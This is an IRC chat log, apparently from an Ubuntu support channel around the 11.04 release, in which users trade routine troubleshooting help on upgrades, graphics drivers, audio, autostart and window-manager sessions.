[04:55] <abhinav> personally the worst thing that unity did was remove the properly working gnome-panel with some broken stuff, and moreover, super-space (which was my gnome-do shortcut) was broken.
[04:55] <jetole> Inphernal: on the other hand, you would have got one line for every package with a hold so we would have known what to remove the hold from but since you got nothing then not sure
[04:55] <Name141> what's the nvidia package?
[04:55] <Name141> nvidia-latest ?
[04:55] <Inphernal> jetole: =[
[04:55] <Name141> never mind I just got it from 'other drivers'
[04:56] <s093294> anyone who resolved the issue with i915 not detecting hdmi port ?
[04:56] <jetole> Name141: for 11.04 it's nvidia-current but I would install the binary from nvidia. Ubuntu is always behind on the latest nvidia driver
[04:56] <Inphernal> jetole: Someone told me it could be my PPAs? But they weren't sure how to check?
[04:56] <Guest29994> I am a high school student. We went to hold a speech (or call a party)to introduce ubuntu/linux.Could you give me some advice?
[04:57] <linuasus6> nit-wit you got 2 grub
[04:57] <nit-wit> linuasus6, you mean the sda6 burg
[04:57] <vultraz> new GRUB seems to send signal to the numlock key to turn it on at boot
[04:57] <jetole> Inphernal: and neither am I so good luck and hope someone else has a... wait, ppa, I thought you meant ppc for a sec, no I don't think that would be it. third party repos are automatically disabled during the upgrade
[04:57] <moonchild> Guest29994: I'd start by telling people everywhere that linux actually runs
[04:57] <vultraz> so it's hard to enter a password
[04:57] <Name141> jetole: how do I install it from the repos
[04:57] <vultraz> on a laptop keybpard
[04:57] <jetole> Inphernal: meaning ppa's are automatially disabled during the upgrade
[04:57] <bimble> how do I roll back from 11 to 10?
[04:58] <vultraz> because most keys get locked
[04:58] <n2diy> when I mouse over a todo item in korganizer the info box displays black text on a black backround, where can I change this?
[04:58] <linuasus6> nit-wit no sda5 sda9
[04:58] <moonchild> Guest29994: start with something like 'its in your android phone, in your wireless router, yada, yada'
[04:58] <tortoise> I'm currently running Windows Vista on one partition and Lucid on another. Could anybody link me to a decent guide for upgrading to 11.04 without ruining that?
[04:59] <jetole> Name141: what I meant is I wouldn't install it from the repos if I were you since ubuntu usually doesn't have the latest. go to nvidia.com and download the linux driver. If you really want to install it from the repos which is the ubuntu version then type: sudo apt-get install nvidia-common
[04:59] <Inphernal> jetloe: Allright, I'll keep looking. Thank you
[04:59] <vultraz> also sometimes it turns on mute and I have to shutdown and turnon
[04:59] <vultraz> turn on*
[05:00] <jetole> Inphernal: keep in mind we have determined two things. It isn't a package on hold and it isn't a ppa. At least you're narrowing the list of what it could be
[05:00] <nit-wit> linuasus6, not sure I understand sda5 is xubuntu natty sda9 in oneiric
[05:00] <Guest29994> Oh,how to introduce where Linux better than of different form Windows
[05:00] <george57> I just upgraded. I dont see unity anywhere. I assume I have to have it run at start up?
[05:00] <jetole> Guest29994: what?
[05:01] <vultraz> also yesterday at boot Unity disappeared and I got the non-unity 10.10 interface
[05:01] <sahil> can ny1 help?my unity crashed after i messed with gdm
[05:01] <Guest29994> sorry,wrong
[05:01] <vultraz> why is natty so buggy?
[05:01] <meLon> Next time wait a few months, vultraz :P\
[05:01] <jetole> vultraz: because it was just released
[05:01] <Guest29994> Oh,how to introduce where Linux better than or different form Windows
[05:01] <vultraz> :P
[05:01] <jetole> vultraz: if you want stable your best bet is 10.04.02
[05:02] <nit-wit> linuasus6, brb
[05:02]  * vultraz likes devel version
[05:02]  * vultraz doesn't like 10.04
[05:02] <meLon> devel = bug, vultraz .  #ubuntu-offtopic
[05:02] <linuasus6> nit-wit ok Im stuck anyway
[05:02] <vultraz> ;)
[05:02] <jetole> vultraz: 10.04 is stable. 11.04 is not devel.
[05:02] <waKKu> hi folks..
[05:02] <waKKu> helps to debug this problem: http://pastebin.com/Pw3qd8SV ? ...
[05:02] <jetole> vultraz: long story short I don't care if you like 10.04 or not. You asked for stable
[05:03] <waKKu> how can i see where the script is failing ?
[05:03] <jetole> vultraz: and if you like the dev version then expect it to be unstable
[05:03]  * vultraz does, just not this much
[05:03] <Guest29994> I think linux is designed for science
[05:03] <karthick87> When ever i access a windows machine through VNC from ubuntu. The icon changes and notifies the user that someone is logged into the system.Is it possible to hide that notification?
[05:03] <vultraz> Guest29994; lol
[05:04] <jetole> 11.04 is a final release / not a dev version but it's also very new. It has passed beta and all the RC but I bet in the next 18 months of it's life it will receive thousands of patches
[05:04] <celthunder> karthick87: that's a security feature.
[05:04] <KM0201> karthick87: that would be a setting on the windows machine i imagine.. not sure you can disable it though
[05:04] <vultraz> jetole: I think so too
[05:04] <Inphernal> jetole: Yeah, slowly
[05:04] <Guest29994> am i wrong?
[05:04] <jetole> vultraz: so now you know why it's not "stable"
[05:05] <vultraz> jetole: ya
[05:05] <vultraz> jetole: we'll probably have 11.10 before 11.04 is really stable
[05:05] <Name141> is there something to 'benchmark' the cpu rather than just stress it like stress --cpu 8 , ?
[05:05] <vultraz> anyway I don't mind it has nice interface
[05:05] <Max-P> Hi, does anyone know how to grow a partition directly in the partition table? A resize on my ext4 partition failed, the superblock says a size, but the partition is a block smaller in the MBR. Ideas? Thanks
[05:06] <jetole> vultraz: I run 10.04 on all of the servers I manage, on my home desktop and on my laptop and am running, as of 20 minutes ago 11.04 on my office workstation. 10.04 is pretty damned good IMHO and only a idiot would run 10.10, 11.04 or 11.10 on a server
[05:06] <nit-wit> linuasus6, I have a arch install that has grub legacy but chainloadda with grub2 automatically.
[05:06] <jetole> vultraz: 10.04 is LTS or long term support release which comes out every two years and is designed to be stable from the ground up. The downside is it doesn't always have the latest software
[05:07] <jetole> I'm going for a smoke. be back in 10
[05:07]  * vultraz has 10.04 and 11.04 on two partitions
[05:09] <MK```> sorry for the delay zoidfarb, you can check out: http://www.psychocats.net/ubuntu/purexfce
[05:09] <Pascalcmoi> lookin at askubuntu and ubuntuforum what i can see is that 11.04 have A LOT of bugs
[05:09] <pamela> could someone please help me figure out how to run a terminal command at startup every time i boot?
[05:09] <DingGGu> help me for install mod_cband T.T
[05:10] <celthunder> pamela: .bashrc or .profile or in inittab
[05:10] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[05:10] <celthunder> pamela: depending on the command and who you want to run it as and at what init level
[05:10] <Pascalcmoi> 11.04 seems A LOT buggy...
[05:10] <pamela> i start conky with a terminal command due to the theme im using with it, i just want it to startup with my system
[05:10] <celthunder> Pascalcmoi: so start submitting bug reports
[05:11] <Pascalcmoi> celthunder: did you update
[05:12] <pamela> celthunder, im looking for step by step help please, im a little new to this
[05:12] <celthunder> Pascalcmoi: i don't even look at my ubuntu comp...it's a server and i havn't touched it other than to fix a thing or two ...i use arch day to day
[05:12] <celthunder> pamela: probably in your gui's startup scripts then
[05:13] <Pascalcmoi> anyone having problem with 11.04
[05:13] <MK```> Pascalcmoi: that's what this channel is for :P
[05:13] <MK```> pamela: before X starts?
[05:13] <pamela> celthunder, im sorry, but that doesnt really mean anything to me...
[05:13] <MK```> or during
[05:14] <pamela> mk``` after boot, once everything up, i just want to send a terminal command automatically
[05:14] <celthunder> pamela: add it to your .xinitrc
[05:14] <nit-wit> pamela, startup application conky in the command line
[05:15] <pamela> celthunder, i appreciate your help but could you please assume im going to ask "how" after everything you say...?
[05:15] <MK```> I was just going to suggest xinit
[05:15] <celthunder> pamela: open a terminal nano ~/.xinitrc find the uncommented line (the one not starting with a #) and add your conky line before that one
[05:15] <Jordan_U> linuasus6: Follow this guide for re-installing grub: http://webcache.googleusercontent.com/search?q=cache:http://grub.enbug.org/Grub2LiveCdInstallGuide
[05:16] <B_K_N> celthunder: how to change time in xubuntu?
[05:16] <celthunder> B_K_N: ntp
[05:17] <pamela> celthunder, i typed "nano ~/.xinitrc" and i have a black file  looking thing
[05:17] <ubuntuguy> What code do I put in the terminal to use ibam?
[05:17] <pamela> celthunder, and there is nothing in it
[05:18] <Mrokii> Hello. I have switched to Ubuntu Classic in 11.04. Is there a way to activate the global menu there as well (like in Unity)?
[05:18] <celthunder> well assuming you want the right time ntp and set your timezone in sysconfig/tzdata
[05:18] <dFshadow> anyone got unity working properly within VMWare on a Macbook?
[05:19] <newb_> hello! I'm with the new Gnome3 in my ubuntu (I'm was here some time ago), but how can I change my window theme now? I can't find the option at gnome control center, my fonts are horrible and my wintow theme is worse...
[05:19] <Ultimate_Chaos> hello?
[05:19] <MK```> pamela: one moment
[05:19] <celthunder> pamela: try adding it to .bashrc or .profile then
[05:20] <Ultimate_Chaos> i m here to ask about any optional system updates
[05:20] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[05:20] <HomuHomuHomura> Can I recover my ubuntu by selecting the upgrade installation in tke live cd install?
[05:20] <celthunder> HomuHomuHomura: depends what's broken
[05:21] <celthunder> Inphernal: so what packages are being held
[05:21] <jetole> celthunder: no packages are being held. I already made him do a check
[05:21] <MK```> pamela: copy the xinitrc file in /etc/X11/xinit to ~/.xinitrc, that is the default file it uses if there is none in ~
[05:22] <celthunder> jetole: ok
[05:22] <HomuHomuHomura> hello
[05:22] <MK```> then add your line
[05:22] <celthunder> thanks MK```
[05:22] <Pascalcmoi> I installed ratpoison and i cant see any dropdown box or orther widget to choose a different window manager
[05:22] <Pascalcmoi> in 11.04
[05:23] <celthunder> Inphernal: jetole did you md5 your packages, any of them just crashing out? what happens if you install a few at a time
[05:23] <nit-wit> pamela, you can open startup application hit add name it put conky in the command and your done.
[05:23] <HomuHomuHomura> what do you mean by broken?
[05:23] <celthunder> HomuHomuHomura: uhm what're you recovering from
[05:23] <celthunder> if you're recovering something i'm assuming something is broken
[05:24] <MK```> Pascalcmoi: did you install it from the software center?
[05:24] <HomuHomuHomura> a failed upgrade on ubuntu
[05:24] <jetole> celthunder: As far as I helped was I made him check for held packages (dpkg --get-selections | sed -e '/\thold$/!d') and confirmed that PPA was not the issue since upgrade disabled third party repos when you upgrade
[05:24] <celthunder> HomuHomuHomura: then yeah
[05:24] <Secluded1> anyone had a problem with libreoffice? i used lo-globalmenu in 11.04, problem is the window menu is gone in the global menu in libreoffice calc, but when i removed lo-globalmenu, it returned!!!
[05:24] <Pascalcmoi> MK```: with apt-get
[05:24] <MK```> hm. have you tried running it from a terminal to make sure it is installed correctly?
[05:24] <jetole> celthunder: and that's as involved as I got
[05:25] <JoseeAntonioR> Hello! I'm having some troubles with my Intel video card... I did a hardware test, and it says that it uses the Nouveau driver instead of the Intel driver... What can I do to fix this error?
[05:25] <celthunder> jetole: ok sorry for highlighting you then
[05:25] <jetole> celthunder: np
[05:25] <newb_> And finally, I'm running gnome-shell or unity?  I think is g-s,  but the activities panel is strange from default gnome-shell....
[05:25] <celthunder> JoseeAntonioR: rmmod <whatever nvidia driver is loaded< modprobe i915 or whatever intel driver applies
[05:26] <Pascalcmoi> MK```: it echo ==> ratpoison: There can be only ONE.
[05:26] <jetole> JoseeAntonioR: if you are using /etc/X11/xorg.conf then you can edit that file. Ubuntu also has another means for configuring this but I don't know what it is since I use a pretty custom xorg.conf myself
[05:27] <jetole> celthunder: rmmod shouldn't apply. In order for the card to use it, part of X has to invoke it which means it should be reloaded next time he starts X
[05:27] <MK```> Pascalcmoi: run ratpoison --replace
[05:27] <jetole> celthunder: for example if I have Nouvou listed in xorg.conf then it will load that driver each time I start X
[05:27] <celthunder> jetole: eh it'd fix it for the current session at least
[05:27] <JoseeAntonioR> celthunder It says module i915 is in use
[05:27] <b1j3n1s3v> can someone point me in the direction I need to go to learn about 54e?
[05:27] <jetole> celthunder: nah X needs the driver when it starts. You can't really change the driver mid session
[05:27] <JoseeAntonioR> jetole I don't use xorg.conf because it gives me a lot of problems.
[05:28] <jetole> JoseeAntonioR: well this isn't one of them. lol
[05:28] <Pascalcmoi> MK```: unrecognize option
[05:28] <celthunder> JoseeAntonioR: blacklist the module you don't want
[05:28] <celthunder> and it won't load it
[05:28] <jetole> JoseeAntonioR: http://goo.gl/72RPO
[05:28] <JoseeAntonioR> celthunder The problem is that i don't know what module i don't want...
[05:28] <ketan-tada> how to add taskbar in ubuntu 11.04
[05:29] <MK```> not sure Pascalcmoi :( I do not use ratpoison
[05:29] <MK```> you'd need to kill your current wm and then run it
[05:29] <sly> Okay, guys..
[05:29] <jetole> JoseeAntonioR: the module is nouveau but blacklisting probably won't help either. Sorry celthunder. I'm not trying to step on your feet here
[05:30] <oneliner> can the unity bar get corny widgets like the gnome eyes?
[05:30] <sly> I added ~/.pulse/client.conf, and disabled autospawn for Pulseaudio, so ALSA could take over for it.
[05:30] <Pascalcmoi> MK```: it like if i cant choose any other window manager even if they are installed
[05:30] <sly> ALSA works fine, but it's not showing anything in sound preferences on Ubuntu.
[05:30] <jetole> celthunder: the problem is that X thinks it should use this driver so we need for X to think it should use the proper one
[05:30] <Inphernal> celthunder: I check, I don't think there's any
[05:30] <celthunder> jetole: fine by me lol i'm just listing off solutionsas thhey occur...i set every module i want loaded on boot and blacklisted the rest
[05:30] <oneliner> or more practical ones like the system graph with cpu usage real time display?
[05:30] <sly> Anyone have any idea on how to fix that?
[05:30] <JoseeAntonioR> jetole celthunder And what can I do? Creating and editing xorg.conf worked in 10.10, but it doesn't anymore...
[05:30] <jetole> JoseeAntonioR: run: sudo lspci
[05:30] <jetole> JoseeAntonioR: then put that on pastebin.com and send me the link
[05:30] <billytwowilly> can anyone point me to a howto get get aac support working in gtkpod in natty?
[05:31] <sahil> m fucked!
[05:31] <jetole> JoseeAntonioR: xorg.conf works in 11.04. I am using it now
[05:31] <celthunder> sly: try alsamixer
[05:31] <jetole> xorg.conf should always work and should always be the over ride afaik
[05:31] <JoseeAntonioR> jetole But for me it doesn't ): http://pastebin.ubuntu.com/601601/
[05:31] <sly> celthunder: I know that.. but is there a way to get it to where Ubuntu will show it in the sound menu again?
[05:31] <ohsix> JoseeAntonioR: xorg.conf still works in 11.04
[05:31] <MK```> Pascalcmoi: I do not use ratpoison, the wms I use all support replace
[05:32] <sly> Because I can't use my multimedia keys to turn the volume up & down without it working.
[05:32] <Inphernal> celthunder: Any idea what else I should check?
[05:32] <linuasus6> thank Jordan_U it look like it will work let see I will restart
[05:32] <celthunder> Inphernal: no not really sorry
[05:32] <ohsix> JoseeAntonioR: can you restate what you're trying to do for me?
[05:32] <billytwowilly> !aac
[05:32] <ubottu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also https://help.ubuntu.com/10.04/musicvideophotos/C/video.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[05:32] <ejv> need sugegstions (not urgent) i'm getting TWO, not one, TWO "welcome to ubuntu server" message blocks upon login over ssh. what has gone wrong?
[05:32] <ejv> suggestions* even
[05:32] <MK```> Pascalcmoi: I need to leave, sorry :( hopefully someone else can help you
[05:33] <Pascalcmoi> np MK``` thanks
[05:33] <celthunder> Pascalcmoi: what's your issue sorry wasn't reading
[05:33] <JoseeAntonioR> ohsix I did a hardware test, and it said it was using the Nouveau driver, but I have an Intel chipset, so I want to use the Intel driver.
[05:33] <celthunder> sly: ok what gui are you using?
[05:33] <celthunder> sly: and what's your default audio controller alsa or pulse?
[05:34] <jetole> JoseeAntonioR: sudo lspci -n | sed -e '/00:02\.0/!d'
[05:34] <jetole> then paste that one line
[05:34] <celthunder> and either way i'm fairly sure your multimedia keys shouldn't be affected by which...
[05:34] <ohsix> JoseeAntonioR: that's really odd, your server is running right now with the nouveau driver?
[05:34] <Pascalcmoi> celthunder: well, i installed another wm (ratpoison) and compiz-gnome package is installed but gdm do not give me choice
[05:34] <sly> I just changed it to use ALSA as default.
[05:34] <Pascalcmoi> only username/password
[05:34] <celthunder> Pascalcmoi: oh that's easy
[05:34] <celthunder> add a .desktop file
[05:35] <abhinav_> hi guys, does anyone know how to increase drive size by decreasing another dirve's size?
[05:35] <celthunder> for ratpoison
[05:35] <JoseeAntonioR> ohsix I'm using Ubuntu Desktop.
[05:35] <sly> But when I go to "sound preferences", it says "Waiting for sound system to respond"
[05:35] <celthunder> abhinav_: partition resize
[05:35] <jetole> abhinav_: yes I do and it's usually not easy
[05:35] <ohsix> JoseeAntonioR: open a terminal and run glxinfo, copy its output to paste.ubuntu.com
[05:35] <celthunder> sly: is something else locking up audio device? (fuser /dev/snd
[05:35] <Juest> sly: check that there aren't multiple sound servers running
[05:35] <Syrinx_`> abhinav_: you have to unmount both drives, and resize them
[05:35] <JoseeAntonioR> jetole http://pastebin.ubuntu.com/601603/
[05:35] <Pascalcmoi> celthunder: you mean 'touch ~/.desktop'
[05:35] <InHisName> I was upgrading from 10.04 to 10.10 and just before done accidently went into reboot.
[05:36] <celthunder> Pascalcmoi: no you have to make one one sec
[05:36] <illmortal> Hey guys... after the update from 10.10 to 11.04.. my dual monitors are not being recognized correctly. They're seen as one large screen... how do I get it to detect correctly outside of the display settings manager?
[05:36] <Ultimate_Chaos> so much people
[05:36] <InHisName> Well, I did sudo dpkg --configure -d     then followed with sudo apt-get -d install  or something like that.   All clean....
[05:36] <sly> Juest: I made the ~/.pulse/client.conf with autospawn=no that is supposed to disable it from autospawning itself.
[05:36] <sly> celthunder, not that I'm aware of. Pulse is supposed to be completely disabled, afaik.
[05:36] <Ultimate_Chaos> i didnt see the response to my question
[05:36] <Juest> well, you frogetting to disable service
[05:36] <Juest> try to stop service
[05:36] <InHisName> Now when I reboot normal,   choose 2.6.35-28 and big UBUNTU print on screen with cycling red dots under it.   3-7 seconds.  Then screen cycles  out-sync---in-sync   3x     THEN nothing more for very long time  30 minutes ?   Why wont it finish booting ?
[05:36] <JoseeAntonioR> ohsix http://pastebin.ubuntu.com/601605/
[05:36] <Juest> also, pluseaudio runs in per-user mode
[05:37] <linuasus6> thank nit-wit will see now if is work by restart
[05:37] <Juest> and randomsound must be enabled
[05:37] <InHisName>  can boot in recovery to a login prompt.   But no gui works.   Keyboard seem disabled when starting gui then hangs only powerbutton shutdown works.
[05:37] <celthunder> Pascalcmoi: ok so do this vi /usr/share/xsessions/ratpoison.desktop
[05:37] <illmortal> same here InHisName... I hit ALT+CTRL+DEL and it reboots instantly.. then I choose, "previous version" and it loads 11.04 anyways o.O;
[05:37] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[05:38] <newb_> ops, closed wrong window
[05:38] <InHisName> illmortal: my keyboard does not work, so only pwr button can shutdown.
[05:38] <illmortal> ew ><;
[05:38] <sly> Wow. That was lagtastic.
[05:38] <sly> Did you guys get my last messages?
[05:39] <celthunder> Pascalcmoi: and then add this text to it http://pastebin.com/Scs4N6Zy
[05:39] <celthunder> Pascalcmoi: replace the executable line
[05:39] <sly> celthunder, did you get my last message to you?
[05:39] <Ultimate_Chaos> nneds to seperate the rooms
[05:39] <Ultimate_Chaos> that ubuntu is numbered
[05:39] <meganerd> what generates the system status when you log in via ssh?
[05:39] <Ultimate_Chaos> less in one channel
[05:40] <newb_> Now I'm really confused about gnome3 here. I can't change my fonts? And about the window theme? This here is gnome-shell or unity? or both? My applications place it's different frrom official gnome-shell, but all the other things sounds like it...
[05:40] <celthunder> meganerd: it's in /etc/issue /etc/motd and /etc/banner or whatever files are mentioned in your sshd config
[05:40] <Pascalcmoi> celthunder: I was installing xfce and it do not appear in the gdm screen
[05:40] <ohsix> JoseeAntonioR: ok you aren't using nouveau, or the intel driver; where did you read that it was using the nouveau driver?
[05:40] <celthunder> sly: ok
[05:40] <illmortal> man it's weird being borderless lol.. I gotta get used to this.
[05:41] <newb_> MustardCU1, KM0201, shcherbak, escott: you here?
[05:41] <celthunder> Pascalcmoi: so change it to xfce ...
[05:41] <meganerd> celthunder: no, I am referring to the system status, mounted partitions, number of updates etc.
[05:41] <Zenguy_pc> how can I create a encrypted partition for /tmp or any other folder?
[05:41] <Pascalcmoi> celthunder: i cant there is no place in the screen to choose that
[05:41] <celthunder> meganerd: yeah...it's a script in /etc/ that sshd calls
[05:41] <celthunder> Pascalcmoi: add the file i just told you to..if it doesn't exist...
[05:42] <jetole> JoseeAntonioR: sudo lsmod | grep -e 'i[89]'
[05:42] <meganerd> celthunder: where?  It is not in /etc/ssh/sshd_config
[05:42] <JoseeAntonioR> ohsix I did System Testing, and in the results it said that I was using nouveau driver.
[05:42] <KM0201> newb_:
[05:42] <KM0201> ?
[05:42] <Pascalcmoi> celthunder: wow, you mean it the new way to use more than one wm in the 11.04? wtf
[05:42] <Pascalcmoi> it like 'forcing us to use unity'
[05:42] <sheldon> could someone tell me how to get a menu on my secondary Xscreen? after I upgraded to 11.04 it went away, and now there is only a couple icons on that screen
[05:42] <celthunder> Pascalcmoi: idk
[05:42] <JoseeAntonioR> jetole http://pastebin.ubuntu.com/601608/
[05:43] <ohsix> JoseeAntonioR: odd, that might be a bug in system testing; theres no visible to the OS nvidia card in there
[05:43] <celthunder> and meganerd i edited it out on my server...i forgot where...it was in /etc though
[05:43] <illmortal> lol sheldon im in the same situation with that as well
[05:43] <InHisName> HOW TO finish upgrading to 10.10 where the gui portion hangs ?   I can login text mode in recovery.
[05:43] <JoseeAntonioR> ohsix But my general problem is that my monitor isn't detected. I cannot change my resolution, it's stuck in 1024x768
[05:43] <illmortal> i have dual monitors... but the right monitor is acting as the main.. and my display manager is claiming i have 1 large screen instead of two <_<
[05:43] <newb_> KM0201: Today you told me some info about install gnome3 here. I have it now, but I want confirm what is happening. I don't know if I'm running unity or shell. Do you have gnome3 yet?
[05:44] <celthunder> Pascalcmoi: i just listed a possible solution if it doesn't work...oh well...if it does...yay
[05:44] <jetole> JoseeAntonioR: sudo modprobe i810
[05:44] <jetole> JoseeAntonioR: just tell me if it gives you an error or anything
[05:44] <KM0201> newb_: no,, i removed it cuz it caused so many problems.. you should be able to tell the difference between unity and gnome-shell
[05:44] <celthunder> newb_: ps x |grep gnome-shell
[05:44] <celthunder> jetole: he said he was using i915
[05:44] <Pascalcmoi> celthunder: well i see it now, thanks a lot for your time
[05:44] <ohsix> JoseeAntonioR: i see that theres only software rendering going on, so likely no gpu drivers are being loaded, did you boot with nomodeset or do anything related?
[05:44] <Pascalcmoi> celthunder: last question
[05:44] <celthunder> Pascalcmoi: ok so it worked?
[05:45] <JoseeAntonioR> jetole Nothing.
[05:45] <Pascalcmoi> celthunder: yes xfce is there now
[05:45] <celthunder> kk
[05:45] <JoseeAntonioR> ohsix I did a normal boot.
[05:45] <ohsix> JoseeAntonioR: oh nevermind, thats i810 hw
[05:45] <ohsix> Jettis: afaik i915 still handles i810 on the kernel side
[05:45] <jetole> celthunder: I must have missed that part as I was looking into his problem. JoseeAntonioR so you're problem is resolved?
[05:45] <ohsix> jetole: ^
[05:45] <Pascalcmoi> celthunder: on unity i cant use ctrl+alt+fkey to switch between terminal... this sequence is capted by unity
[05:46] <celthunder> Pascalcmoi: idk unbind it in unity...i use xmonad...so i don't have that issue
[05:46] <illmortal> I wonder if my 11.04 is hanging due to video card drivers..
[05:46] <ohsix> JoseeAntonioR: all i've heard about i810 is it not really working for 3d or anything as of the last year or two; i don't know what to say
[05:46] <hoss> Can someone tell me how to make compiz-fusion run automatically?  As of right now I have to run the icon and then reload the window manager every time I boot.  I know that I can put the icon in the startup list but will I still have to reload the window manager?
[05:46] <Pascalcmoi> celthunder: ok thanks!
[05:46] <celthunder> ohsix: i810 can work for 3d...kms is broken though
[05:46] <Pascalcmoi> celthunder: last another question hehe
[05:46] <jetole> ohsix: yeah I have read that his card is i810 and I have also read that there are a list of issues with i810
[05:47] <JoseeAntonioR> jetole ohsix Do I need to restart X to see if there are any changes?
[05:47] <jetole> JoseeAntonioR: you can try
[05:47] <celthunder> ohsix: jetole JoseeAntonioR disable kms?
[05:47] <ohsix> celthunder: that may have been true 2 years ago (before support for anything but kms was dropped in the intel drivers)
[05:47] <JoseeAntonioR> celthunder How do I do that?
[05:48] <ohsix> i810 might still be a special case but i don't think so
[05:48] <jetole> celthunder: thats an option but I don't think it applies though I could be wrong
[05:48] <JoseeAntonioR> I'll try restarting X
[05:48] <celthunder> ohsix: ok i stopped using that comp a while ago...was just a remembering
[05:48] <newb_> KM0201, celthunder: from ps I have g-s running, and no proccess with na me unity. But g-s is strange here, different from standalone testing (tested with a pendrive boot). The buttons "+" and "-" to add/remove new desktops aren't here anymore and applications panel works like in unity: full screen. And the desktops are in a right bar now. If this is a theme, how can I back to default theme?...
[05:48] <newb_> ...There are nothing at gnome-control-center...
[05:48] <illmortal> anyone have a full english version of this: http://ubuntuforums.org/showthread.php?t=1719218
[05:48] <JoseeAntonioR> If it doesn't works, and my screen goes black, what can I do in the console?
[05:49] <illmortal> I can't understand what I need to do to fix my login issue.
[05:49] <celthunder> illmortal: what's your login issue
[05:49] <fisch246> any common issues in Natty i should keep out for or fix?
[05:49] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[05:50] <illmortal> celthunder... it seems to be a common one... simply, at the splash screen (where it shows an image of ubuntu + loading bar) it just stays there.. then I hit ALT+CTRL+DEL and it reboots instantly. From there, I choose, "previous version" and it loads quickly... and looks like 11.04 is loading
[05:51] <celthunder> illmortal: ctrl alt f1 login and dmesg tail /var/log/syslog.log
[05:51] <illmortal> that's all?
[05:51] <illmortal> or you need me to paste bin it or something?
[05:51] <celthunder> (dmesg and the tail part are two different)
[05:51] <celthunder> eh just want to know what it's stopping on
[05:51] <nyquist333> Ok, I'm trying 11.04 in a VM. I've removed Zeitgest. I've used gnome-conf to turn off thumbnail cache, but the .thumbnails dir is still being created. How do I disable ALL thumbnail caching?
[05:51] <illmortal> alright.. ill reboot in a minute then.
[05:52] <illmortal> do I need to log in via recovery, celthunder?
[05:52] <celthunder> no
[05:52] <celthunder> well if it reboots instead of throwing you in a terminal yes
[05:52] <monekfygh> How can I make gnome tell me how much battery I have left?
[05:52] <JoseeAntonioR> I'm back, with no results.
[05:53] <illmortal> ok celthunder.. gimme one minute brb
[05:53] <celthunder> monekfygh: not a gnome thing but acpi / apmtool
[05:53] <ohsix> nyquist333: if you're going to disable all of the caching you need to disable all of their generation in the first place
[05:53] <ohsix> nyquist333: are you having a specific problem?
[05:53] <monekfygh> Celt, I'm currently using that, but I hate clickig the terminal all the time
[05:54] <monekfygh> How can I make launcher for it/
[05:54] <iam126> I wonder if perhaps I might not be totally hated for asking if anyone CANNOT see http://godmode.cc showing up?
[05:55] <iam126> having strange intermittence issue
[05:55] <nyquist333> ohsix: I've gone to a lot of pains setting up 10.10. I don't like anything tracking my usage, or indexing or thumbnailing my photos and yes porn.
[05:55] <ohsix> nyquist333: i can probably help you with t he original problem
[05:55] <ohsix> nyquist333: hurf
[05:55] <monekfygh> How can I make launcher for acpi so I don't have to check terminal everytime to check my battery?
[05:55] <Pascalcmoi> celthunder: thanks for the --replace that is a good tips ;)
[05:55] <nyquist333> gconf-editor used to work.
[05:56] <celthunder> iam126: http://www.downforeveryoneorjustme.com/http://godmode.cc/
[05:56] <celthunder> Pascalcmoi: replace what?
[05:56] <JoseeAntonioR> celthunder ohsix jetole I'm back, with no results.
[05:56] <Pascalcmoi> celthunder: well i switch from unity to xfce with --replace
[05:56] <ohsix> nyquist333: whats the scenario where this information you're concerned about gets disclosed? maybe something can be done about that
[05:56] <iam126> celthunder: thanks for your help, that will intermittently fail - do you know what test that tool performs underneath the surface?
[05:57] <celthunder> iam126:idk probably ping/traceroute
[05:57] <celthunder> nslookup then ping then traceroute
[05:57] <celthunder> would be the order i would test in
[05:57] <celthunder> maybe switch traceroute and ping
[05:57] <iam126> celthunder: roger that, same here, thanks for the quick peer review I appreciate it
[05:58] <celthunder> np
[05:58] <iam126> celthunder: I have many different clients using that test regime so I am glad for corroboration - weird error to troubleshoot
[05:58] <celthunder> iam126: ok what's the issue ?
[05:58] <celthunder> iptables running on the server?
[05:58] <celthunder> bad routing at a router?
[05:58] <Pascalcmoi> celthunder++;
[05:58] <celthunder> ARP/RARP working properly?
[05:59] <nyquist333> In the past I've actually redirected .thumbnails, .macromedia and tmp to a ram drive using /dev/shm. But it's a pain. Setting .thumbnails to root and read-only may also work. I don't understand why all this tracking stuff is turned on automatically.
[05:59] <ohsix> nyquist333: it's not tracking you, even if it might be called tracker
[06:00] <ohsix> or zeitgeist
[06:00] <nyquist333> I understand, but your talkig to someone who deletes his recently used file and marks it read-only so it can't be updated.
[06:00] <iam126> celthunder: my team has changed its multi-homing routing strategies and optimized at the router level to rule out intermittence there, iptables also checked and not blocking traffic; I am technically running ubuntu 10.10 so this is "channel legit," it is odd because certain networks cannot see a certain IP subnet, but can see another, on the same virtual image
[06:00] <illmortal> CTRL+ALT+F1 fails, celthunder.
[06:01] <iam126> celthunder: we pretty much have it narrowed down to being a combined issue caused between outside networks and that configuration change at the router level, but now I need to do regression testing
[06:01] <celthunder> illmortal: boot to init 3 does that work?
[06:01] <celthunder> illmortal: from there run startx and see if that fials
[06:01] <iam126> celthunder: sort of like trying to raise the dead to see if the person was really alive to start with
[06:01] <iam126> celthunder: except trying to kill something that ought never have been alive :)
[06:01] <smw> nyquist333, where is that file?
[06:01] <nyquist333> How do I protect privacy in Ubuntu when there isn't a single place to turn off history or thumbnails?
[06:01] <GuyCanada> so, totally off topic but is anyone watching the fights? i cant get them, did GSP just lose?@!?#
[06:01] <illmortal> I select, "2.6.38-8-generic", then it loads up the latest splash screen (black, blue, gray with blue loading bar), and it just hangs until I hit  CTRL+ALT+DEl
[06:01] <nyquist333> smw: Hold on...
[06:01] <ohsix> nyquist333: i talked with ebassi about getting a blacklist aqdded for that, but it's Hard(TM), i want it so video i'm logging doesn't push out useful entries in the recently used list
[06:01] <iam126> no GSP won
